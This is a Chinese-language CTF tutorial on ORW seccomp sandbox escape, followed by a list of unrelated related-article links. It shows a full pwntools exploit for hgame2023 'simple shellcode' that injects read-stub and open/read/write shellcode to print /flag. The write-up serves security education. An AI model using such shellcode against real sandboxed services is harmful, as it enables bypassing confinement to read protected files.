orw入门报告
orw(沙箱逃逸)
现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。
查看沙箱
在实战中我们可以通过 seccomp-tools来查看程序是否启用了沙箱, seccomp-tools工具安装方法如下:
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools
安装完成后通过 seccomp-tools dump ./pwn即可查看程序沙箱。
沙箱函数
最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。
int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
mmap()
一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。
void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);
例题:hgame2023 simple shellcode
题目链接:NSSCTF
下载附件,打开题目,可以看见mmap和read函数

mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。
继续跟进sandbox函数

可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查

可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。
利用思路:
1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。
2.调用完了read函数后,利用orw来打开flag文件,并进行读取。
exp如下:
from pwn import *
#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'
context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)
shellcode = asm("""
xor eax,eax
xor edi,edi
mov edx,0x1000
mov esi,0xcafe0000
syscall
""") #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100 #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()
orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW
orw入门报告的更多相关文章
- Linux 基础入门(新版)”实验报告一~十二
实验报告 日期: 2015年9月15日 一.实验的目的与要求 熟练地使用 Linux,本实验介绍 Linux 基本操作,shell 环境下的常用命令. 二.主要内容 1.Linux 基础入门& ...
- 《读书报告 -- Elasticsearch入门 》--简单使用(2)
<读书报告 – Elasticsearch入门 > ' 第四章 分布式文件存储 这章的主要内容是理解数据如何在分布式系统中存储. 4.1 路由文档到分片 创建一个新文档时,它是如何确定应该 ...
- 《读书报告 -- Elasticsearch入门 》-- 安装以及简单使用(1)
<读书报告 – Elasticsearch入门 > 第一章 Elasticsearch入门 Elasticsearch是一个实时的分布式搜索和分析引擎,使得人们可以在一定规模上和一定速度上 ...
- jmeter5.0生成html报告 快速入门
JMeter性能测试5.0时代之-多维度的图形化HTML报告 快速入门 1.确认基本配置 在jmeter.properties或者user.properties确认如下配置项: jmeter.save ...
- PowerBI系列之入门案例动态销售报告
本文将讲解如何从零开始使用PowerBI Desktop制作一份动态销售报告.帮助大家快速入门PowerBI Desktop的操作.我们先来看一下一份动态销售报告的构成. 1.左上角放置了小黎子数据分 ...
- 小入门 Django(做个疫情数据报告)
Django 是 Python web框架,发音 [ˈdʒæŋɡo] ,翻译成中文叫"姜狗". 为什么要学框架?其实我们自己完全可以用 Python 代码从0到1写一个web网站, ...
- Applescript快速入门及OmniFocus每日md报告开发
本篇主要记录 Applescript 基础语法,以及利用 applescript 生成 omnifocus 每日报告 从 windows 转换到 macos,最近一直在不断折腾,这两天浏览 githu ...
- LOJ 数列分块入门 9 题解题报告
LOJ 数列分块入门 9 题解题报告 \(\text{By DaiRuiChen007}\) I. 数列分块入门 1 题目大意 \(\text{Link}\) 维护一个长度为 \(n\) 的序列,支持 ...
- 程序设计入门——C语言 第2周编程练习 信号报告(5分)
2 题目内容: 无线电台的RS制信号报告是由三两个部分组成的: R(Readability) 信号可辨度即清晰度. S(Strength) 信号强度即大小. 其中R位于报告第一位,共分5 ...
- 《信息安全系统设计基础》第一次实验报告--Linux 基础入门
北京电子科技学院(BESTI) 实 验 报 告 课程:信息安全设计基础 班级:1352 姓名:何伟钦 学号:20135223 成绩: 指导教师:娄嘉鹏 ...
随机推荐
- apt-mirror 制作麒麟桌面版内网源
apt-mirror 制作麒麟桌面版内网源 一.修改apt软件安装源 1.修改source.list安装源 vi /etc/apt/sources.list 添加: deb http://archiv ...
- NavBarControl 通过代码添加
看到网上很多都是直接在控件上面添加的 而我的是保存在数据库读取后添加的. 后来自己摸索了一下. 通过代码添加 navBarControl1.Groups.Add(new NavBarGroup( st ...
- SSH(五)spring整合hibernate
一.创建hibernate实体映射文件. 在实体所在包创建映射文件product.hbm.xml,引入hibernate的映射约束.(该约束位于hibernate3.jar里面hibernate-ma ...
- 【每日一题】【DFS&每个点都调用一次前后左右】由1连接的岛屿数量-211031/220216
给你一个由 '1'(陆地)和 '0'(水)组成的的二维网格,请你计算网格中岛屿的数量. 岛屿总是被水包围,并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成. 此外,你可以假设该网格的四条边 ...
- TinyShell(CSAPP实验)
简介 CSAPP实验介绍 学生实现他们自己的带有作业控制的Unix Shell程序,包括Ctrl + C和Ctrl + Z按键,fg,bg,和 jobs命令.这是学生第一次接触并发,并且让他们对Uni ...
- Jenkins基本配置
1.Configure System (系统设置) 在系统设置这里,只需要设置最后面的一项,配置远程服务器地址,即代码最终运行的服务器地址信息,当然这里是可以配置多台远程Linux服务器的,配置完成后 ...
- 【ASP.NET Core】MVC控制器的各种自定义:IActionHttpMethodProvider 接口
IActionHttpMethodProvider 接口的结构很简单,实现该接口只要实现一个属性即可--HttpMethods.该属性是一个字符串序列. 这啥意思呢?这个字符串序列代表的就是受支持的 ...
- for循环结构、range方法
目录 今日内容总结 whlie补充说明 for循环结构 range方法 练习 今日内容总结 whlie补充说明 1.死循环 真正死循环是一旦执行 CPU功耗会急速上升 直到系统采取紧急措施 尽量不要让 ...
- 【深入浅出Spring原理及实战】「源码原理实战」从底层角度去分析研究PropertySourcesPlaceholderConfigurer的原理及实战注入机制
Spring提供配置解析功能 主要有一下xml文件占位符解析和Java的属性@Value的占位符解析配置这两种场景进行分析和实现解析,如下面两种案例. xml文件的占位符解析配置 <bean i ...
- java中加号的用法
注意java中+号的使用 public class Add { public static void main(String[] args) { System.out.println(100+80); ...